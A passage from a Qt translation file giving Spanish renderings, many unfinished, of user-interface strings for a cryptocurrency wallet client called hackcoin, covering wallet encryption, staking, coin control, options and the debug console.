<translation>Monedero cifrado</translation>
</message>
<message>
<location line="-58"/>
<source>hackcoin will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your coins from being stolen by malware infecting your computer.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<location line="+7"/>
<location line="+44"/>
<location line="+6"/>
<source>Wallet encryption failed</source>
<translation>Ha fallado el cifrado del monedero</translation>
</message>
<message>
<location line="-56"/>
<source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source>
<translation>Ha fallado el cifrado del monedero debido a un error interno. El monedero no ha sido cifrado.</translation>
</message>
<message>
<location line="+7"/>
<location line="+50"/>
<source>The supplied passphrases do not match.</source>
<translation>Las contraseñas no coinciden.</translation>
</message>
<message>
<location line="-38"/>
<source>Wallet unlock failed</source>
<translation>Ha fallado el desbloqueo del monedero</translation>
</message>
<message>
<location line="+1"/>
<location line="+12"/>
<location line="+19"/>
<source>The passphrase entered for the wallet decryption was incorrect.</source>
<translation>La contraseña introducida para descifrar el monedero es incorrecta.</translation>
</message>
<message>
<location line="-20"/>
<source>Wallet decryption failed</source>
<translation>Ha fallado el descifrado del monedero</translation>
</message>
<message>
<location line="+14"/>
<source>Wallet passphrase was successfully changed.</source>
<translation>Se ha cambiado correctamente la contraseña del monedero.</translation>
</message>
</context>
<context>
<name>XtraBYtesGUI</name>
<message>
<location filename="../xtrabytesgui.cpp" line="+282"/>
<source>Sign &message...</source>
<translation>Firmar &mensaje...</translation>
</message>
<message>
<location line="+251"/>
<source>Synchronizing with network...</source>
<translation>Sincronizando con la red…</translation>
</message>
<message>
<location line="-319"/>
<source>&Overview</source>
<translation>&Vista general</translation>
</message>
<message>
<location line="+1"/>
<source>Show general overview of wallet</source>
<translation>Mostrar vista general del monedero</translation>
</message>
<message>
<location line="+17"/>
<source>&Transactions</source>
<translation>&Transacciones</translation>
</message>
<message>
<location line="+1"/>
<source>Browse transaction history</source>
<translation>Examinar el historial de transacciones</translation>
</message>
<message>
<location line="+5"/>
<source>&Address Book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Edit the list of stored addresses and labels</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-13"/>
<source>&Receive coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show the list of addresses for receiving payments</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-7"/>
<source>&Send coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>E&xit</source>
<translation>&Salir</translation>
</message>
<message>
<location line="+1"/>
<source>Quit application</source>
<translation>Salir de la aplicación</translation>
</message>
<message>
<location line="+6"/>
<source>Show information about hackcoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>About &Qt</source>
<translation>Acerca de &Qt</translation>
</message>
<message>
<location line="+1"/>
<source>Show information about Qt</source>
<translation>Mostrar información acerca de Qt</translation>
</message>
<message>
<location line="+2"/>
<source>&Options...</source>
<translation>&Opciones...</translation>
</message>
<message>
<location line="+4"/>
<source>&Encrypt Wallet...</source>
<translation>&Cifrar monedero…</translation>
</message>
<message>
<location line="+3"/>
<source>&Backup Wallet...</source>
<translation>Copia de &respaldo del monedero...</translation>
</message>
<message>
<location line="+2"/>
<source>&Change Passphrase...</source>
<translation>&Cambiar la contraseña…</translation>
</message>
<message numerus="yes">
<location line="+259"/>
<source>~%n block(s) remaining</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+6"/>
<source>Downloaded %1 of %2 blocks of transaction history (%3% done).</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-256"/>
<source>&Export...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-64"/>
<source>Send coins to a hackcoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+47"/>
<source>Modify configuration options for hackcoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>Export the data in the current tab to a file</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-14"/>
<source>Encrypt or decrypt wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Backup wallet to another location</source>
<translation>Copia de seguridad del monedero en otra ubicación</translation>
</message>
<message>
<location line="+2"/>
<source>Change the passphrase used for wallet encryption</source>
<translation>Cambiar la contraseña utilizada para el cifrado del monedero</translation>
</message>
<message>
<location line="+10"/>
<source>&Debug window</source>
<translation>Ventana de &depuración</translation>
</message>
<message>
<location line="+1"/>
<source>Open debugging and diagnostic console</source>
<translation>Abrir la consola de depuración y diagnóstico</translation>
</message>
<message>
<location line="-5"/>
<source>&Verify message...</source>
<translation>&Verificar mensaje...</translation>
</message>
<message>
<location line="-202"/>
<source>hackcoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Wallet</source>
<translation>Monedero</translation>
</message>
<message>
<location line="+180"/>
<source>&About hackcoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>&Show / Hide</source>
<translation>Mo&strar/ocultar</translation>
</message>
<message>
<location line="+9"/>
<source>Unlock wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>&Lock Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Lock wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>&File</source>
<translation>&Archivo</translation>
</message>
<message>
<location line="+8"/>
<source>&Settings</source>
<translation>&Configuración</translation>
</message>
<message>
<location line="+8"/>
<source>&Help</source>
<translation>A&yuda</translation>
</message>
<message>
<location line="+12"/>
<source>Tabs toolbar</source>
<translation>Barra de pestañas</translation>
</message>
<message>
<location line="+8"/>
<source>Actions toolbar</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<location line="+9"/>
<source>[testnet]</source>
<translation>[testnet]</translation>
</message>
<message>
<location line="+0"/>
<location line="+60"/>
<source>hackcoin client</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+75"/>
<source>%n active connection(s) to hackcoin network</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+40"/>
<source>Downloaded %1 blocks of transaction history.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+413"/>
<source>Staking.<br>Your weight is %1<br>Network weight is %2<br>Expected time to earn reward is %3</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Not staking because wallet is locked</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because wallet is offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because wallet is syncing</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because you don't have mature coins</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="-403"/>
<source>%n second(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="-312"/>
<source>About hackcoin card</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show information about hackcoin card</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>&Unlock Wallet...</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+297"/>
<source>%n minute(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n hour(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n day(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+6"/>
<source>Up to date</source>
<translation>Actualizado</translation>
</message>
<message>
<location line="+7"/>
<source>Catching up...</source>
<translation>Actualizando...</translation>
</message>
<message>
<location line="+10"/>
<source>Last received block was generated %1.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+59"/>
<source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Confirm transaction fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+27"/>
<source>Sent transaction</source>
<translation>Transacción enviada</translation>
</message>
<message>
<location line="+1"/>
<source>Incoming transaction</source>
<translation>Transacción entrante</translation>
</message>
<message>
<location line="+1"/>
<source>Date: %1
Amount: %2
Type: %3
Address: %4
</source>
<translation>Fecha: %1
Cantidad: %2
Tipo: %3
Dirección: %4
</translation>
</message>
<message>
<location line="+100"/>
<location line="+15"/>
<source>URI handling</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-15"/>
<location line="+15"/>
<source>URI can not be parsed! This can be caused by an invalid hackcoin address or malformed URI parameters.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b></source>
<translation>El monedero está <b>cifrado</b> y actualmente <b>desbloqueado</b></translation>
</message>
<message>
<location line="+10"/>
<source>Wallet is <b>encrypted</b> and currently <b>locked</b></source>
<translation>El monedero está <b>cifrado</b> y actualmente <b>bloqueado</b></translation>
</message>
<message>
<location line="+25"/>
<source>Backup Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Wallet Data (*.dat)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Backup Failed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>There was an error trying to save the wallet data to the new location.</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+76"/>
<source>%n second(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n minute(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n hour(s)</source>
<translation><numerusform>%n hora</numerusform><numerusform>%n horas</numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n day(s)</source>
<translation><numerusform>%n día</numerusform><numerusform>%n días</numerusform></translation>
</message>
<message>
<location line="+18"/>
<source>Not staking</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../xtrabytes.cpp" line="+109"/>
<source>A fatal error occurred. hackcoin can no longer continue safely and will quit.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>ClientModel</name>
<message>
<location filename="../clientmodel.cpp" line="+90"/>
<source>Network Alert</source>
<translation>Alerta de red</translation>
</message>
</context>
<context>
<name>CoinControlDialog</name>
<message>
<location filename="../forms/coincontroldialog.ui" line="+14"/>
<source>Coin Control</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Quantity:</source>
<translation>Cantidad:</translation>
</message>
<message>
<location line="+32"/>
<source>Bytes:</source>
<translation>Bytes:</translation>
</message>
<message>
<location line="+48"/>
<source>Amount:</source>
<translation>Cuantía:</translation>
</message>
<message>
<location line="+32"/>
<source>Priority:</source>
<translation>Prioridad:</translation>
</message>
<message>
<location line="+48"/>
<source>Fee:</source>
<translation>Tasa:</translation>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation>Envío pequeño:</translation>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="+551"/>
<source>no</source>
<translation>no</translation>
</message>
<message>
<location filename="../forms/coincontroldialog.ui" line="+51"/>
<source>After Fee:</source>
<translation>Después de tasas:</translation>
</message>
<message>
<location line="+35"/>
<source>Change:</source>
<translation>Cambio:</translation>
</message>
<message>
<location line="+69"/>
<source>(un)select all</source>
<translation>(des)selecciona todos</translation>
</message>
<message>
<location line="+13"/>
<source>Tree mode</source>
<translation>Modo arbol</translation>
</message>
<message>
<location line="+16"/>
<source>List mode</source>
<translation>Modo lista</translation>
</message>
<message>
<location line="+45"/>
<source>Amount</source>
<translation>Cantidad</translation>
</message>
<message>
<location line="+5"/>
<source>Label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Address</source>
<translation>Dirección</translation>
</message>
<message>
<location line="+5"/>
<source>Date</source>
<translation>Fecha</translation>
</message>
<message>
<location line="+5"/>
<source>Confirmations</source>
<translation>Confirmaciones</translation>
</message>
<message>
<location line="+3"/>
<source>Confirmed</source>
<translation>Confirmado</translation>
</message>
<message>
<location line="+5"/>
<source>Priority</source>
<translation>Prioridad</translation>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="-515"/>
<source>Copy address</source>
<translation>Copiar dirección</translation>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation>Copiar etiqueta</translation>
</message>
<message>
<location line="+1"/>
<location line="+26"/>
<source>Copy amount</source>
<translation>Copiar cantidad</translation>
</message>
<message>
<location line="-25"/>
<source>Copy transaction ID</source>
<translation>Copiar identificador de transacción</translation>
</message>
<message>
<location line="+24"/>
<source>Copy quantity</source>
<translation>Copiar cantidad</translation>
</message>
<message>
<location line="+2"/>
<source>Copy fee</source>
<translation>Copiar donación</translation>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation>Copiar después de aplicar donación</translation>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation>Copiar bytes</translation>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation>Copiar prioridad</translation>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation>Copiar envío pequeño</translation>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation>Copiar cambio</translation>
</message>
<message>
<location line="+317"/>
<source>highest</source>
<translation>lo más alto</translation>
</message>
<message>
<location line="+1"/>
<source>high</source>
<translation>alto</translation>
</message>
<message>
<location line="+1"/>
<source>medium-high</source>
<translation>medio-alto</translation>
</message>
<message>
<location line="+1"/>
<source>medium</source>
<translation>medio</translation>
</message>
<message>
<location line="+4"/>
<source>low-medium</source>
<translation>bajo-medio</translation>
</message>
<message>
<location line="+1"/>
<source>low</source>
<translation>bajo</translation>
</message>
<message>
<location line="+1"/>
<source>lowest</source>
<translation>lo más bajo</translation>
</message>
<message>
<location line="+155"/>
<source>DUST</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>yes</source>
<translation>si</translation>
</message>
<message>
<location line="+10"/>
<source>This label turns red, if the transaction size is bigger than 10000 bytes.
This means a fee of at least %1 per kb is required.
Can vary +/- 1 Byte per input.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Transactions with higher priority get more likely into a block.
This label turns red, if the priority is smaller than "medium".
This means a fee of at least %1 per kb is required.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if any recipient receives an amount smaller than %1.
This means a fee of at least %2 is required.
Amounts below 0.546 times the minimum relay fee are shown as DUST.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if the change is smaller than %1.
This means a fee of at least %2 is required.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+37"/>
<location line="+66"/>
<source>(no label)</source>
<translation>(sin etiqueta)</translation>
</message>
<message>
<location line="-9"/>
<source>change from %1 (%2)</source>
<translation>Enviar desde %1 (%2)</translation>
</message>
<message>
<location line="+1"/>
<source>(change)</source>
<translation>(cambio)</translation>
</message>
</context>
<context>
<name>EditAddressDialog</name>
<message>
<location filename="../forms/editaddressdialog.ui" line="+14"/>
<source>Edit Address</source>
<translation>Editar Dirección</translation>
</message>
<message>
<location line="+11"/>
<source>&Label</source>
<translation>&Etiqueta</translation>
</message>
<message>
<location line="+10"/>
<source>The label associated with this address book entry</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>&Address</source>
<translation>&Dirección</translation>
</message>
<message>
<location line="+10"/>
<source>The address associated with this address book entry. This can only be modified for sending addresses.</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../editaddressdialog.cpp" line="+20"/>
<source>New receiving address</source>
<translation>Nueva dirección de recepción</translation>
</message>
<message>
<location line="+4"/>
<source>New sending address</source>
<translation>Nueva dirección de envío</translation>
</message>
<message>
<location line="+3"/>
<source>Edit receiving address</source>
<translation>Editar dirección de recepción</translation>
</message>
<message>
<location line="+4"/>
<source>Edit sending address</source>
<translation>Editar dirección de envío</translation>
</message>
<message>
<location line="+76"/>
<source>The entered address "%1" is already in the address book.</source>
<translation>La dirección introducida "%1" ya está presente en la libreta de direcciones.</translation>
</message>
<message>
<location line="-5"/>
<source>The entered address "%1" is not a valid hackcoin address.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Could not unlock wallet.</source>
<translation>No se pudo desbloquear el monedero.</translation>
</message>
<message>
<location line="+5"/>
<source>New key generation failed.</source>
<translation>Ha fallado la generación de la nueva clave.</translation>
</message>
</context>
<context>
<name>GUIUtil::HelpMessageBox</name>
<message>
<location filename="../guiutil.cpp" line="+420"/>
<location line="+12"/>
<source>hackcoin-Qt</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-12"/>
<source>version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Usage:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>command-line options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>UI options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set language, for example "de_DE" (default: system locale)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start minimized</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show splash screen on startup (default: 1)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>OptionsDialog</name>
<message>
<location filename="../forms/optionsdialog.ui" line="+14"/>
<source>Options</source>
<translation>Opciones</translation>
</message>
<message>
<location line="+16"/>
<source>&Main</source>
<translation>&Principal</translation>
</message>
<message>
<location line="+6"/>
<source>Optional transaction fee per kB that helps make sure your transactions are processed quickly. Most transactions are 1 kB. Fee 0.01 recommended.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Pay transaction &fee</source>
<translation>Comisión de &transacciones</translation>
</message>
<message>
<location line="+31"/>
<source>Reserved amount does not participate in staking and is therefore spendable at any time.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Reserve</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Automatically start hackcoin after logging in to the system.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Start hackcoin on system login</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Detach block and address databases at shutdown. This means they can be moved to another data directory, but it slows down shutdown. The wallet is always detached.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Detach databases at shutdown</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+21"/>
<source>&Network</source>
<translation>&Red</translation>
</message>
<message>
<location line="+6"/>
<source>Automatically open the hackcoin client port on the router. This only works when your router supports UPnP and it is enabled.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Map port using &UPnP</source>
<translation>Mapear el puerto usando &UPnP</translation>
</message>
<message>
<location line="+7"/>
<source>Connect to the hackcoin network through a SOCKS proxy (e.g. when connecting through Tor).</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Connect through SOCKS proxy:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Proxy &IP:</source>
<translation>Dirección &IP del proxy:</translation>
</message>
<message>
<location line="+19"/>
<source>IP address of the proxy (e.g. 127.0.0.1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>&Port:</source>
<translation>&Puerto:</translation>
</message>
<message>
<location line="+19"/>
<source>Port of the proxy (e.g. 9050)</source>
<translation>Puerto del servidor proxy (ej. 9050)</translation>
</message>
<message>
<location line="+7"/>
<source>SOCKS &Version:</source>
<translation>&Versión SOCKS:</translation>
</message>
<message>
<location line="+13"/>
<source>SOCKS version of the proxy (e.g. 5)</source>
<translation>Versión del proxy SOCKS (ej. 5)</translation>
</message>
<message>
<location line="+36"/>
<source>&Window</source>
<translation>&Ventana</translation>
</message>
<message>
<location line="+6"/>
<source>Show only a tray icon after minimizing the window.</source>
<translation>Minimizar la ventana a la bandeja de iconos del sistema.</translation>
</message>
<message>
<location line="+3"/>
<source>&Minimize to the tray instead of the taskbar</source>
<translation>&Minimizar a la bandeja en vez de a la barra de tareas</translation>
</message>
<message>
<location line="+7"/>
<source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Quit in the menu.</source>
<translation>Minimizar en lugar de salir de la aplicación al cerrar la ventana. Cuando esta opción está activa, la aplicación solo se puede cerrar seleccionando Salir desde el menú.</translation>
</message>
<message>
<location line="+3"/>
<source>M&inimize on close</source>
<translation>M&inimizar al cerrar</translation>
</message>
<message>
<location line="+21"/>
<source>&Display</source>
<translation>&Interfaz</translation>
</message>
<message>
<location line="+8"/>
<source>User Interface &language:</source>
<translation>I&dioma de la interfaz de usuario</translation>
</message>
<message>
<location line="+13"/>
<source>The user interface language can be set here. This setting will take effect after restarting hackcoin.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>&Unit to show amounts in:</source>
<translation>Mostrar las cantidades en la &unidad:</translation>
</message>
<message>
<location line="+13"/>
<source>Choose the default subdivision unit to show in the interface and when sending coins.</source>
<translation>Elegir la subdivisión predeterminada para mostrar cantidades en la interfaz y cuando se envían monedas.</translation>
</message>
<message>
<location line="+9"/>
<source>Whether to show hackcoin addresses in the transaction list or not.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Display addresses in transaction list</source>
<translation>&Mostrar las direcciones en la lista de transacciones</translation>
</message>
<message>
<location line="+7"/>
<source>Whether to show coin control features or not.</source>
<translation>Mostrar o no características de control de moneda</translation>
</message>
<message>
<location line="+3"/>
<source>Display coin &control features (experts only!)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+71"/>
<source>&OK</source>
<translation>&Aceptar</translation>
</message>
<message>
<location line="+7"/>
<source>&Cancel</source>
<translation>&Cancelar</translation>
</message>
<message>
<location line="+10"/>
<source>&Apply</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../optionsdialog.cpp" line="+55"/>
<source>default</source>
<translation>predeterminado</translation>
</message>
<message>
<location line="+149"/>
<location line="+9"/>
<source>Warning</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-9"/>
<location line="+9"/>
<source>This setting will take effect after restarting hackcoin.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+29"/>
<source>The supplied proxy address is invalid.</source>
<translation>La dirección proxy indicada es inválida.</translation>
</message>
</context>
<context>
<name>OverviewPage</name>
<message>
<location filename="../forms/overviewpage.ui" line="+14"/>
<source>Form</source>
<translation>Desde</translation>
</message>
<message>
<location line="+33"/>
<location line="+231"/>
<source>The displayed information may be out of date. Your wallet automatically synchronizes with the hackcoin network after a connection is established, but this process has not completed yet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-160"/>
<source>Stake:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+29"/>
<source>Unconfirmed:</source>
<translation>No confirmado(s):</translation>
</message>
<message>
<location line="-107"/>
<source>Wallet</source>
<translation>Monedero</translation>
</message>
<message>
<location line="+49"/>
<source>Spendable:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Your current spendable balance</source>
<translation>Su balance actual gastable</translation>
</message>
<message>
<location line="+71"/>
<source>Immature:</source>
<translation>No disponible:</translation>
</message>
<message>
<location line="+13"/>
<source>Mined balance that has not yet matured</source>
<translation>Saldo recién minado que aún no está disponible.</translation>
</message>
<message>
<location line="+20"/>
<source>Total:</source>
<translation>Total:</translation>
</message>
<message>
<location line="+16"/>
<source>Your current total balance</source>
<translation>Su balance actual total</translation>
</message>
<message>
<location line="+46"/>
<source><b>Recent transactions</b></source>
<translation><b>Movimientos recientes</b></translation>
</message>
<message>
<location line="-108"/>
<source>Total of transactions that have yet to be confirmed, and do not yet count toward the current balance</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-29"/>
<source>Total of coins that was staked, and do not yet count toward the current balance</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../overviewpage.cpp" line="+113"/>
<location line="+1"/>
<source>out of sync</source>
<translation>desincronizado</translation>
</message>
</context>
<context>
<name>QRCodeDialog</name>
<message>
<location filename="../forms/qrcodedialog.ui" line="+14"/>
<source>QR Code Dialog</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+59"/>
<source>Request Payment</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+56"/>
<source>Amount:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-44"/>
<source>Label:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+19"/>
<source>Message:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+71"/>
<source>&Save As...</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../qrcodedialog.cpp" line="+62"/>
<source>Error encoding URI into QR Code.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>The entered amount is invalid, please check.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Resulting URI too long, try to reduce the text for label / message.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Save QR Code</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>PNG Images (*.png)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>RPCConsole</name>
<message>
<location filename="../forms/rpcconsole.ui" line="+46"/>
<source>Client name</source>
<translation>Nombre del cliente</translation>
</message>
<message>
<location line="+10"/>
<location line="+23"/>
<location line="+26"/>
<location line="+23"/>
<location line="+23"/>
<location line="+36"/>
<location line="+53"/>
<location line="+23"/>
<location line="+23"/>
<location filename="../rpcconsole.cpp" line="+348"/>
<source>N/A</source>
<translation>N/D</translation>
</message>
<message>
<location line="-217"/>
<source>Client version</source>
<translation>Versión del cliente</translation>
</message>
<message>
<location line="-45"/>
<source>&Information</source>
<translation>&Información</translation>
</message>
<message>
<location line="+68"/>
<source>Using OpenSSL version</source>
<translation>Utilizando la versión OpenSSL</translation>
</message>
<message>
<location line="+49"/>
<source>Startup time</source>
<translation>Hora de inicio</translation>
</message>
<message>
<location line="+29"/>
<source>Network</source>
<translation>Red</translation>
</message>
<message>
<location line="+7"/>
<source>Number of connections</source>
<translation>Número de conexiones</translation>
</message>
<message>
<location line="+23"/>
<source>On testnet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Block chain</source>
<translation>Cadena de bloques</translation>
</message>
<message>
<location line="+7"/>
<source>Current number of blocks</source>
<translation>Número actual de bloques</translation>
</message>
<message>
<location line="+23"/>
<source>Estimated total blocks</source>
<translation>Bloques totales estimados</translation>
</message>
<message>
<location line="+23"/>
<source>Last block time</source>
<translation>Hora del último bloque</translation>
</message>
<message>
<location line="+52"/>
<source>&Open</source>
<translation>&Abrir</translation>
</message>
<message>
<location line="+16"/>
<source>Command-line options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Show the hackcoin-Qt help message to get a list with possible hackcoin command-line options.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Show</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+24"/>
<source>&Console</source>
<translation>&Consola</translation>
</message>
<message>
<location line="-260"/>
<source>Build date</source>
<translation>Fecha de compilación</translation>
</message>
<message>
<location line="-104"/>
<source>hackcoin - Debug window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>hackcoin Core</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+279"/>
<source>Debug log file</source>
<translation>Archivo de registro de depuración</translation>
</message>
<message>
<location line="+7"/>
<source>Open the hackcoin debug log file from the current data directory. This can take a few seconds for large log files.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+102"/>
<source>Clear console</source>
<translation>Borrar consola</translation>
</message>
<message>
<location filename="../rpcconsole.cpp" line="-33"/>
<source>Welcome to the hackcoin RPC console.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Use up and down arrows to navigate history, and <b>Ctrl-L</b> to clear screen.</source>
<translation>Use las flechas arriba y abajo para navegar por el historial y <b>Control+L</b> para limpiar la pantalla.</translation>
</message>
<message>
<location line="+1"/>
<source>Type <b>help</b> for an overview of available commands.</source>
<translation>Escriba <b>help</b> para ver un resumen de los comandos disponibles.</translation>
</message>
</context>
<context>
<name>SendCoinsDialog</name>
<message>
<location filename="../forms/sendcoinsdialog.ui" line="+14"/>
<location filename="../sendcoinsdialog.cpp" line="+182"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+6"/>
<location line="+5"/>
<location line="+5"/>
<source>Send Coins</source>
<translation>Enviar monedas</translation>
</message>
<message>
<location line="+76"/>
<source>Coin Control Features</source>
<translation>Características de control de la moneda</translation>
</message>
<message>
<location line="+20"/>
<source>Inputs...</source>
<translation>Entradas...</translation>
</message>
<message>
<location line="+7"/>
<source>automatically selected</source>
<translation>Seleccionado automaticamente</translation>
</message>
<message>
<location line="+19"/>
<source>Insufficient funds!</source>
<translation>Fondos insuficientes!</translation>
</message>
<message>
<location line="+77"/>
<source>Quantity:</source>
<translation>Cantidad:</translation>
</message>
<message>
<location line="+22"/>
<location line="+35"/>
<source>0</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-19"/>
<source>Bytes:</source>
<translation>Bytes:</translation>
</message>
<message>
<location line="+51"/>
<source>Amount:</source>
<translation>Cuantía:</translation>
</message>
<message>
<location line="+22"/>
<location line="+86"/>
<location line="+86"/>
<location line="+32"/>
<source>0.00 hack</source>
